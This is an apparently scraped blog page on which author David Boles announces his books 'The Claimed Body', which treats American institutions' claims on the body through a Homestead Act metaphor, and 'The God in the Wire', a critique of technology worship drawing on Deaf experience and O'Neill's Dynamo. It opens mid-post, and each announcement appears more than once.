The Homestead Act of 1862 is the organizing metaphor. Signed by Lincoln during the Civil War, the Act distributed continental land through a specific mechanism: a settler filed a claim on 160 acres of public land, lived on the parcel for five years, improved it, and received title. The claim, the parcel, the boundary line, the survey marker, the adjudicating court if the claim was contested. Between 1862 and 1976, the United States distributed approximately 270 million acres of continental North America this way. My argument is that the logic of the registered claim did not retire with the Act. It migrated from land to body. A hospital claims your birth. A school claims your developmental measurements. An insurer claims your diagnostic history. An employer claims your labor capacity. The state claims your reproductive eligibility and your military eligibility. If the criminal claim succeeds, a prison holds you. At the other end of life, a dying registry claims your cessation and a funeral corporation claims your remains. Operating in the shadow of all of these, a data broker sells your patterns forward to whoever will pay.
Fifteen chapters because fifteen is the number of major institutional domains that currently hold active claims on the American body. I did not invent the number. I counted the claimants.
What changed between Carceral Nation and The Claimed Body is the scale of the argument. Carceral Nation made its case by tracking one institution across domains. The Claimed Body makes its case by tracking one body across institutions. A reader who has read both books will see that the carceral logic described in the first is a special case of the claim-filing structure described in the second. The prison is one of fifteen claimants. The book you just finished and the book you are about to start belong to a single continuous argument, rendered from two sides. I needed the first book to get the vocabulary to write the second.
A note on why these books are appearing now, in 2026, rather than ten years ago. The answer is that the data layer has closed. Until recently, the hospital did not know what the pharmacist knew, and the pharmacist did not know what the school knew, and the school did not know what the employer knew. Each institutional claim operated in relative isolation. That is no longer true. The data broker industry, which occupies Chapter 13 of The Claimed Body under the heading of the Datafied Body, federates institutional claims into a single behavioral profile that any paying party can access. The body used to be claimed by many institutions operating in isolation. It is now claimed by many institutions operating through a shared back end. That shift, which accelerated across the past ten years and consolidated across the past five, is what made the argument urgent enough to warrant the book now rather than a decade ago.
A second note. I worry that the institutional claim on the American body is tightening at the same moment American democratic capacity to reform institutions is weakening. A claim that cannot be challenged in a public forum, by citizens with political standing, is no longer a claim in the Homestead sense. It is a confiscation. The Precarious Republic, the manuscript I continue to work on, argues that American democratic capacity is in measurable decline. The Claimed Body documents what that decline looks like from inside a single institutional domain: the domain of bodily life. The two manuscripts are cousins. They are not the same argument. They describe the same condition from different angles.
Readers who have come with me from the December 2006 post through Carceral Nation and now to The Claimed Body, thank you. The arc took twenty years. It took me the twenty years to learn how to name what I was trying to name. This blog is where the learning happened in public. Every half-formed post, every revision I never ran back, every idea that did not hold up on the second read, was part of the process by which I became able to write these books. Readers who are newer to the constellation, welcome. The books are the consolidated version of what has been going on here all along.
The Claimed Body is available now on Amazon in Kindle and paperback, and through BolesBooks.com for direct ordering and for free web reading. A Human Meme podcast episode and a Prairie Voice article accompany the launch. More work follows.
The homestead did not end. It turned inward.
And the claim I filed here in 2006 finally has its title document.
David Boles has operated the Boles web constellation since 1995. His most recent books are Carceral Nation and The Claimed Body and Selling Saturday Morning.
#amazon #audiobok #body #bodyRights #bolesBooks #book #carceralNation #davidBoles #homesteadAct #hospital #kindle #military #philosophy #teeth #vocabulary #writing -
The Claim I Filed in 2006
This week I published The Claimed Body: How American Institutions Divided the Human Organism Among Themselves. Fifteen chapters, 559 pages in paperback, 349 in the web edition, a Kindle ebook, and a wraparound cover that took the shape of a parcel map of the body. The book is out on Amazon and through BolesBooks.com. Readers who have followed the constellation for any length of time will recognize the argument before they finish the first chapter. I have been writing toward this book since December of 2006, when I first used these pages to ask a question I did not yet have the vocabulary to answer.
The question back then was why the prison kept showing up in parts of American life that were not prisons. A school discipline policy reads like a booking protocol. An employer’s drug screen reads like a parole condition. A hospital discharge summary reads like a court order. The architecture of the panopticon, which Jeremy Bentham proposed in 1791 as a specific building, kept turning up in places where no building existed. In 2008 I registered domains around the word panopticonic to hold the argument I was beginning to see, having found only a single prior usage of the word in a 1959 issue of Time magazine. The word gave me a handle. It did not yet give me the book.
That book, the first one, arrived last year as Carceral Nation: How the Prison Escaped Its Walls and Made a Panopticonic Society. Carceral Nation did what I had been trying to do for two decades: it named the institutional logic that moved the prison’s discipline out of the prison and into schools, workplaces, clinics, data systems, and the texture of ordinary American life. I thought when I finished Carceral Nation that I had written the book the 2006 post wanted to become.
I was wrong. Carceral Nation was one half of a pair. The Claimed Body is the other half, and the pair is now complete.
Here is how the two books relate. Carceral Nation tracks one institution, the prison, and the way its logic escaped its physical walls to operate across institutional domains that were not prisons. The Claimed Body reverses the telescope. It tracks one body, the American body, and the way many institutions file claims on portions of it across the life cycle. Not one institution escaping its walls. Many institutions operating on the body simultaneously, each with its own filing mechanism, each with its own jurisdiction, each with its own enforcement apparatus, and no single forum where the body can contest the overlapping and contradictory claims.
The Homestead Act of 1862 is the organizing metaphor. Signed by Lincoln during the Civil War, the Act distributed continental land through a specific mechanism: a settler filed a claim on 160 acres of public land, lived on the parcel for five years, improved it, and received title. The claim, the parcel, the boundary line, the survey marker, the adjudicating court if the claim was contested. Between 1862 and 1976, the United States distributed approximately 270 million acres of continental North America this way. My argument is that the logic of the registered claim did not retire with the Act. It migrated from land to body. A hospital claims your birth. A school claims your developmental measurements. An insurer claims your diagnostic history. An employer claims your labor capacity. The state claims your reproductive eligibility and your military eligibility. If the criminal claim succeeds, a prison holds you. At the other end of life, a dying registry claims your cessation and a funeral corporation claims your remains. Operating in the shadow of all of these, a data broker sells your patterns forward to whoever will pay.
Fifteen chapters because fifteen is the number of major institutional domains that currently hold active claims on the American body. I did not invent the number. I counted the claimants.
What changed between Carceral Nation and The Claimed Body is the scale of the argument. Carceral Nation made its case by tracking one institution across domains. The Claimed Body makes its case by tracking one body across institutions. A reader who has read both books will see that the carceral logic described in the first is a special case of the claim-filing structure described in the second. The prison is one of fifteen claimants. The book you just finished and the book you are about to start belong to a single continuous argument, rendered from two sides. I needed the first book to get the vocabulary to write the second.
A note on why these books are appearing now, in 2026, rather than ten years ago. The answer is that the data layer has closed. Until recently, the hospital did not know what the pharmacist knew, and the pharmacist did not know what the school knew, and the school did not know what the employer knew. Each institutional claim operated in relative isolation. That is no longer true. The data broker industry, which occupies Chapter 13 of The Claimed Body under the heading of the Datafied Body, federates institutional claims into a single behavioral profile that any paying party can access. The body used to be claimed by many institutions operating in isolation. It is now claimed by many institutions operating through a shared back end. That shift, which accelerated across the past ten years and consolidated across the past five, is what made the argument urgent enough to warrant the book now rather than a decade ago.
A second note. I worry that the institutional claim on the American body is tightening at the same moment American democratic capacity to reform institutions is weakening. A claim that cannot be challenged in a public forum, by citizens with political standing, is no longer a claim in the Homestead sense. It is a confiscation. The Precarious Republic, the manuscript I continue to work on, argues that American democratic capacity is in measurable decline. The Claimed Body documents what that decline looks like from inside a single institutional domain: the domain of bodily life. The two manuscripts are cousins. They are not the same argument. They describe the same condition from different angles.
Readers who have come with me from the December 2006 post through Carceral Nation and now to The Claimed Body, thank you. The arc took twenty years. It took me the twenty years to learn how to name what I was trying to name. This blog is where the learning happened in public. Every half-formed post, every revision I never ran back, every idea that did not hold up on the second read, was part of the process by which I became able to write these books. Readers who are newer to the constellation, welcome. The books are the consolidated version of what has been going on here all along.
The Claimed Body is available now on Amazon in Kindle and paperback, and through BolesBooks.com for direct ordering and for free web reading. A Human Meme podcast episode and a Prairie Voice article accompany the launch. More work follows.
The homestead did not end. It turned inward.
And the claim I filed here in 2006 finally has its title document.
David Boles has operated the Boles web constellation since 1995. His most recent books are Carceral Nation and The Claimed Body and Selling Saturday Morning.
#amazon #audiobok #body #bodyRights #bolesBooks #book #carceralNation #davidBoles #homesteadAct #hospital #kindle #military #philosophy #teeth #vocabulary #writing -
The Claim I Filed in 2006
This week I published The Claimed Body: How American Institutions Divided the Human Organism Among Themselves. Fifteen chapters, 559 pages in paperback, 349 in the web edition, a Kindle ebook, and a wraparound cover that took the shape of a parcel map of the body. The book is out on Amazon and through BolesBooks.com. Readers who have followed the constellation for any length of time will recognize the argument before they finish the first chapter. I have been writing toward this book since December of 2006, when I first used these pages to ask a question I did not yet have the vocabulary to answer.
The question back then was why the prison kept showing up in parts of American life that were not prisons. A school discipline policy reads like a booking protocol. An employer’s drug screen reads like a parole condition. A hospital discharge summary reads like a court order. The architecture of the panopticon, which Jeremy Bentham proposed in 1791 as a specific building, kept turning up in places where no building existed. In 2008 I registered domains around the word panopticonic to hold the argument I was beginning to see, having found only a single prior usage of the word in a 1959 issue of Time magazine. The word gave me a handle. It did not yet give me the book.
That book, the first one, arrived last year as Carceral Nation: How the Prison Escaped Its Walls and Made a Panopticonic Society. Carceral Nation did what I had been trying to do for two decades: it named the institutional logic that moved the prison’s discipline out of the prison and into schools, workplaces, clinics, data systems, and the texture of ordinary American life. I thought when I finished Carceral Nation that I had written the book the 2006 post wanted to become.
I was wrong. Carceral Nation was one half of a pair. The Claimed Body is the other half, and the pair is now complete.
Here is how the two books relate. Carceral Nation tracks one institution, the prison, and the way its logic escaped its physical walls to operate across institutional domains that were not prisons. The Claimed Body reverses the telescope. It tracks one body, the American body, and the way many institutions file claims on portions of it across the life cycle. Not one institution escaping its walls. Many institutions operating on the body simultaneously, each with its own filing mechanism, each with its own jurisdiction, each with its own enforcement apparatus, and no single forum where the body can contest the overlapping and contradictory claims.
The Homestead Act of 1862 is the organizing metaphor. Signed by Lincoln during the Civil War, the Act distributed continental land through a specific mechanism: a settler filed a claim on 160 acres of public land, lived on the parcel for five years, improved it, and received title. The claim, the parcel, the boundary line, the survey marker, the adjudicating court if the claim was contested. Between 1862 and 1976, the United States distributed approximately 270 million acres of continental North America this way. My argument is that the logic of the registered claim did not retire with the Act. It migrated from land to body. A hospital claims your birth. A school claims your developmental measurements. An insurer claims your diagnostic history. An employer claims your labor capacity. The state claims your reproductive eligibility and your military eligibility. If the criminal claim succeeds, a prison holds you. At the other end of life, a dying registry claims your cessation and a funeral corporation claims your remains. Operating in the shadow of all of these, a data broker sells your patterns forward to whoever will pay.
Fifteen chapters because fifteen is the number of major institutional domains that currently hold active claims on the American body. I did not invent the number. I counted the claimants.
What changed between Carceral Nation and The Claimed Body is the scale of the argument. Carceral Nation made its case by tracking one institution across domains. The Claimed Body makes its case by tracking one body across institutions. A reader who has read both books will see that the carceral logic described in the first is a special case of the claim-filing structure described in the second. The prison is one of fifteen claimants. The book you just finished and the book you are about to start belong to a single continuous argument, rendered from two sides. I needed the first book to get the vocabulary to write the second.
A note on why these books are appearing now, in 2026, rather than ten years ago. The answer is that the data layer has closed. Until recently, the hospital did not know what the pharmacist knew, and the pharmacist did not know what the school knew, and the school did not know what the employer knew. Each institutional claim operated in relative isolation. That is no longer true. The data broker industry, which occupies Chapter 13 of The Claimed Body under the heading of the Datafied Body, federates institutional claims into a single behavioral profile that any paying party can access. The body used to be claimed by many institutions operating in isolation. It is now claimed by many institutions operating through a shared back end. That shift, which accelerated across the past ten years and consolidated across the past five, is what made the argument urgent enough to warrant the book now rather than a decade ago.
A second note. I worry that the institutional claim on the American body is tightening at the same moment American democratic capacity to reform institutions is weakening. A claim that cannot be challenged in a public forum, by citizens with political standing, is no longer a claim in the Homestead sense. It is a confiscation. The Precarious Republic, the manuscript I continue to work on, argues that American democratic capacity is in measurable decline. The Claimed Body documents what that decline looks like from inside a single institutional domain: the domain of bodily life. The two manuscripts are cousins. They are not the same argument. They describe the same condition from different angles.
Readers who have come with me from the December 2006 post through Carceral Nation and now to The Claimed Body, thank you. The arc took twenty years. It took me the twenty years to learn how to name what I was trying to name. This blog is where the learning happened in public. Every half-formed post, every revision I never ran back, every idea that did not hold up on the second read, was part of the process by which I became able to write these books. Readers who are newer to the constellation, welcome. The books are the consolidated version of what has been going on here all along.
The Claimed Body is available now on Amazon in Kindle and paperback, and through BolesBooks.com for direct ordering and for free web reading. A Human Meme podcast episode and a Prairie Voice article accompany the launch. More work follows.
The homestead did not end. It turned inward.
And the claim I filed here in 2006 finally has its title document.
David Boles has operated the Boles web constellation since 1995. His most recent books are Carceral Nation and The Claimed Body and Selling Saturday Morning.
#amazon #audiobok #body #bodyRights #bolesBooks #book #carceralNation #davidBoles #homesteadAct #hospital #kindle #military #philosophy #teeth #vocabulary #writing -
The God in the Wire: The Book That Began with an Empty Shelf
I did not set out to write a book about technology. I set out to understand an empty shelf. The shelf is at LaGuardia Community College in Long Island City, Queens, mounted on a corridor wall beneath a sign bearing the universal symbol for Deaf access. The shelf once held a TTY, one of those text telephones that gave Deaf people their first access to instantaneous distance communication. The TTY is gone. The smartphone replaced it. The sign is still there, pointing to something that no longer exists. I saw it during a workshop break, in a hallway I had no reason to be in, and for the next several years I could not stop thinking about it.
The God in the Wire: Technology, Meaning, and the Empty Shrine is now available from David Boles Books as a Kindle ebook, a trade paperback, and a free PDF download. It is a work of cultural criticism, twelve chapters, an introduction, a coda, and a full scholarly apparatus including endnotes, a glossary of analytical terms, and a reader’s guide to the Eugene O’Neill plays that give the book its governing argument. It is the book I have been circling for a decade without knowing it, and it is the book I am proudest to have written.
The Question O’Neill Could Not Close
The book’s thesis comes from a playwright, not a technologist. In 1929, Eugene O’Neill described a trilogy of plays he intended to write about “the death of the old God and the failure of Science and Materialism to give any satisfying new one.” He wrote one of those plays, Dynamo, about a young man who loses his religious faith and transfers his worship to a hydroelectric generator. The play failed. The trilogy was never completed. But the question O’Neill was asking turned out to be the defining question of the century that followed: what happens when a civilization replaces its gods with its machines, and the machines turn out to be structurally incapable of doing what the gods once did?
That question drove Dynamo in 1929. It drives every chapter of The God in the Wire in 2026. The difference is that we now have a century of evidence to examine. O’Neill was diagnosing a crisis in its earliest stages. We are living inside the crisis at full maturity, surrounded by machines of extraordinary power that deliver everything except the one thing we keep asking them to provide: meaning.
The Five Threads
The book weaves five threads through its twelve chapters.
The first is the Deaf experience of communication technology. My wife is Deaf. Her fifty-year relationship with the tools of distance communication, from the TTY through the pager, the video phone, the smartphone, and the video relay service, runs through the book as testimony. Her words appear as direct quotation. Her perspective is not a case study or a sidebar. It is the book’s emotional center, because when you examine the history of communication technology through the experience of someone who was excluded from its founding medium, the telephone, you see things that hearing people cannot see. You see what the technology actually did, stripped of the mythology that the hearing world built around it.
The second thread is my own fifty-year relationship with the tools of composition: the manual typewriter, the electric Selectric, the Kaypro word processor, the networked computer, and the large language model. Every writer who has lived through this transition has a version of this story, but I wanted to tell it with the specificity it deserves, because the details matter. The resistance of the manual typewriter key is not the same as the frictionless completion of the language model, and the difference is not nostalgia. It is a structural change in the relationship between the writer’s body and the act of thinking on the page.
The third thread traces the transformation of American teaching from chalkboard to cloud. The fourth follows the democratization and fragmentation of public expression from the mimeograph to social media. The fifth examines medicine and environmental crisis, the domains where technology most directly confronts death and the limits of the material world. The cardiac catheter. The mRNA vaccine. The ozone layer. The climate. The places where the machine genuinely saves and the places where saving the body does not answer the question of what the body is for.
The Analytical Machinery
Every chapter applies what the book calls the Substitution Test. Three questions. What human good was this technology supposed to serve? What did it actually deliver instead? Who profited from the substitution? Those questions are not rhetorical. They have specific, documented answers in every case, and the answers follow a pattern that is the book’s central argument.
A technology arrives with a promise. It achieves dominance. During that dominance, it substitutes a lesser good for a greater one: efficiency for understanding, connectivity for communion, information for wisdom, engagement metrics for attention, fluency for thought. The substitution is profitable for someone, usually the platform or the manufacturer, and the profit motive ensures that the substitution is never publicly identified as a substitution. It is marketed as progress.
This is what I call the Arrival-Dominance-Disappearance triad, and it governs the structure of every chapter. The technology arrives. The technology dominates. The technology disappears or transforms, and the meaning it was supposedly carrying disappears with it, because the meaning was never in the machine. It was in us.
What This Book Is Not
The God in the Wire is not a Luddite tract. I use technology constantly. I am typing these words on a computer. The book was typeset in LaTeX, built as an ePub, and formatted for print-on-demand. I am not arguing against technology. I am arguing against the worship of technology, and there is a difference so fundamental that collapsing it is itself a species of the category error the book diagnoses.
There is a chapter called “Moments of Grace” that identifies the times technology got it right. The TTY is one. The early internet, before the advertising model consumed it, is another. The mRNA vaccine, developed in under a year against a novel pathogen, is a third. In each case, the technology remained instrumental, it preserved the human grammar of the act it mediated, and it did not demand worship. The moments of grace are real. The problem is that they are moments, not the default condition, and the structural incentives of the technology industry push relentlessly against their repetition.
The Company It Keeps
This book enters a conversation with predecessors I admire and from whom I have learned enormously. Neil Postman’s Amusing Ourselves to Death. Nicholas Carr’s The Shallows. Sven Birkerts’s The Gutenberg Elegies. Jenny Odell’s How to Do Nothing. These are important books about technology and human meaning. What none of them does, and what The God in the Wire does, is place Deaf experience at the center of the argument. That is not a criticism of their work. It is a description of a gap this book attempts to fill, because the gap matters, and the perspective it opens changes the argument in ways I did not anticipate when I began writing.
The book also draws heavily on Henry Adams’s The Education of Henry Adams, particularly the “Dynamo and the Virgin” chapter that recounts Adams’s confrontation with the dynamo at the 1900 Paris Exposition. Adams felt a moral force radiating from the machine, the modern equivalent of the force that had built Chartres. He was right about the power. He was wrong about the meaning. That gap, between power and meaning, is the empty shrine.
The Scholarly Apparatus
I built the back matter to be genuinely useful, not decorative. The endnotes provide full citations to the clinical, historical, and sociological literature: the Surgeon General’s advisory on loneliness, the Case and Deaton research on deaths of despair, the Twenge data on adolescent mental health, the Molina and Rowland ozone research, the IPCC assessments, the Gruentzig cardiac catheterization, the Palella antiretroviral data. Every empirical claim in the book is sourced. Every statistic is documented.
The glossary defines the analytical terms the book develops: the Arrival-Dominance-Disappearance Triad, the Category Error, the Substitution Test, the Moments of Grace. These are the book’s constructions, and I wanted readers to have a reference that collects them in one place.
The reader’s guide to the O’Neill plays walks through every work referenced in the text, from Beyond the Horizon through Long Day’s Journey into Night, because I am asking readers to engage with a playwright many of them may not have read since college, and I owe them the context to make that engagement meaningful.
The Sign Above the Shelf
I went back to LaGuardia. The sign was still there. The shelf was still empty. And standing in that corridor for the second time, I understood something I had not understood the first time: the sign was never pointing to the machine. The sign was pointing to the need. The need that existed before the TTY arrived and that persisted after the TTY was gone. The need to reach another human being across distance. The need that no technology has ever created and no technology has ever satisfied and no technology ever will, because the need is not technological. It is the most human thing about us, and the machines, for all their power, can only carry it. They cannot create it. They cannot sustain it. They cannot replace it.
That is the argument. That is the book.
#amazon #bolesBooks #book #davidBoles #drama #eugeneOneill #god #paperback #publishing #sociology #technology #wire -
The God in the Wire: The Book That Began with an Empty Shelf
I did not set out to write a book about technology. I set out to understand an empty shelf. The shelf is at LaGuardia Community College in Long Island City, Queens, mounted on a corridor wall beneath a sign bearing the universal symbol for Deaf access. The shelf once held a TTY, one of those text telephones that gave Deaf people their first access to instantaneous distance communication. The TTY is gone. The smartphone replaced it. The sign is still there, pointing to something that no longer exists. I saw it during a workshop break, in a hallway I had no reason to be in, and for the next several years I could not stop thinking about it.
The God in the Wire: Technology, Meaning, and the Empty Shrine is now available from David Boles Books as a Kindle ebook, a trade paperback, and a free PDF download. It is a work of cultural criticism, twelve chapters, an introduction, a coda, and a full scholarly apparatus including endnotes, a glossary of analytical terms, and a reader’s guide to the Eugene O’Neill plays that give the book its governing argument. It is the book I have been circling for a decade without knowing it, and it is the book I am proudest to have written.
The Question O’Neill Could Not Close
The book’s thesis comes from a playwright, not a technologist. In 1929, Eugene O’Neill described a trilogy of plays he intended to write about “the death of the old God and the failure of Science and Materialism to give any satisfying new one.” He wrote one of those plays, Dynamo, about a young man who loses his religious faith and transfers his worship to a hydroelectric generator. The play failed. The trilogy was never completed. But the question O’Neill was asking turned out to be the defining question of the century that followed: what happens when a civilization replaces its gods with its machines, and the machines turn out to be structurally incapable of doing what the gods once did?
That question drove Dynamo in 1929. It drives every chapter of The God in the Wire in 2026. The difference is that we now have a century of evidence to examine. O’Neill was diagnosing a crisis in its earliest stages. We are living inside the crisis at full maturity, surrounded by machines of extraordinary power that deliver everything except the one thing we keep asking them to provide: meaning.
The Five Threads
The book weaves five threads through its twelve chapters.
The first is the Deaf experience of communication technology. My wife is Deaf. Her fifty-year relationship with the tools of distance communication, from the TTY through the pager, the video phone, the smartphone, and the video relay service, runs through the book as testimony. Her words appear as direct quotation. Her perspective is not a case study or a sidebar. It is the book’s emotional center, because when you examine the history of communication technology through the experience of someone who was excluded from its founding medium, the telephone, you see things that hearing people cannot see. You see what the technology actually did, stripped of the mythology that the hearing world built around it.
The second thread is my own fifty-year relationship with the tools of composition: the manual typewriter, the electric Selectric, the Kaypro word processor, the networked computer, and the large language model. Every writer who has lived through this transition has a version of this story, but I wanted to tell it with the specificity it deserves, because the details matter. The resistance of the manual typewriter key is not the same as the frictionless completion of the language model, and the difference is not nostalgia. It is a structural change in the relationship between the writer’s body and the act of thinking on the page.
The third thread traces the transformation of American teaching from chalkboard to cloud. The fourth follows the democratization and fragmentation of public expression from the mimeograph to social media. The fifth examines medicine and environmental crisis, the domains where technology most directly confronts death and the limits of the material world. The cardiac catheter. The mRNA vaccine. The ozone layer. The climate. The places where the machine genuinely saves and the places where saving the body does not answer the question of what the body is for.
The Analytical Machinery
Every chapter applies what the book calls the Substitution Test. Three questions. What human good was this technology supposed to serve? What did it actually deliver instead? Who profited from the substitution? Those questions are not rhetorical. They have specific, documented answers in every case, and the answers follow a pattern that is the book’s central argument.
A technology arrives with a promise. It achieves dominance. During that dominance, it substitutes a lesser good for a greater one: efficiency for understanding, connectivity for communion, information for wisdom, engagement metrics for attention, fluency for thought. The substitution is profitable for someone, usually the platform or the manufacturer, and the profit motive ensures that the substitution is never publicly identified as a substitution. It is marketed as progress.
This is what I call the Arrival-Dominance-Disappearance triad, and it governs the structure of every chapter. The technology arrives. The technology dominates. The technology disappears or transforms, and the meaning it was supposedly carrying disappears with it, because the meaning was never in the machine. It was in us.
What This Book Is Not
The God in the Wire is not a Luddite tract. I use technology constantly. I am typing these words on a computer. The book was typeset in LaTeX, built as an ePub, and formatted for print-on-demand. I am not arguing against technology. I am arguing against the worship of technology, and there is a difference so fundamental that collapsing it is itself a species of the category error the book diagnoses.
There is a chapter called “Moments of Grace” that identifies the times technology got it right. The TTY is one. The early internet, before the advertising model consumed it, is another. The mRNA vaccine, developed in under a year against a novel pathogen, is a third. In each case, the technology remained instrumental, it preserved the human grammar of the act it mediated, and it did not demand worship. The moments of grace are real. The problem is that they are moments, not the default condition, and the structural incentives of the technology industry push relentlessly against their repetition.
The Company It Keeps
This book enters a conversation with predecessors I admire and from whom I have learned enormously. Neil Postman’s Amusing Ourselves to Death. Nicholas Carr’s The Shallows. Sven Birkerts’s The Gutenberg Elegies. Jenny Odell’s How to Do Nothing. These are important books about technology and human meaning. What none of them does, and what The God in the Wire does, is place Deaf experience at the center of the argument. That is not a criticism of their work. It is a description of a gap this book attempts to fill, because the gap matters, and the perspective it opens changes the argument in ways I did not anticipate when I began writing.
The book also draws heavily on Henry Adams’s The Education of Henry Adams, particularly the “Dynamo and the Virgin” chapter that recounts Adams’s confrontation with the dynamo at the 1900 Paris Exposition. Adams felt a moral force radiating from the machine, the modern equivalent of the force that had built Chartres. He was right about the power. He was wrong about the meaning. That gap, between power and meaning, is the empty shrine.
The Scholarly Apparatus
I built the back matter to be genuinely useful, not decorative. The endnotes provide full citations to the clinical, historical, and sociological literature: the Surgeon General’s advisory on loneliness, the Case and Deaton research on deaths of despair, the Twenge data on adolescent mental health, the Molina and Rowland ozone research, the IPCC assessments, the Gruentzig cardiac catheterization, the Palella antiretroviral data. Every empirical claim in the book is sourced. Every statistic is documented.
The glossary defines the analytical terms the book develops: the Arrival-Dominance-Disappearance Triad, the Category Error, the Substitution Test, the Moments of Grace. These are the book’s constructions, and I wanted readers to have a reference that collects them in one place.
The reader’s guide to the O’Neill plays walks through every work referenced in the text, from Beyond the Horizon through Long Day’s Journey into Night, because I am asking readers to engage with a playwright many of them may not have read since college, and I owe them the context to make that engagement meaningful.
The Sign Above the Shelf
I went back to LaGuardia. The sign was still there. The shelf was still empty. And standing in that corridor for the second time, I understood something I had not understood the first time: the sign was never pointing to the machine. The sign was pointing to the need. The need that existed before the TTY arrived and that persisted after the TTY was gone. The need to reach another human being across distance. The need that no technology has ever created and no technology has ever satisfied and no technology ever will, because the need is not technological. It is the most human thing about us, and the machines, for all their power, can only carry it. They cannot create it. They cannot sustain it. They cannot replace it.
That is the argument. That is the book.
#amazon #bolesBooks #book #davidBoles #drama #eugeneOneill #god #paperback #publishing #sociology #technology #wire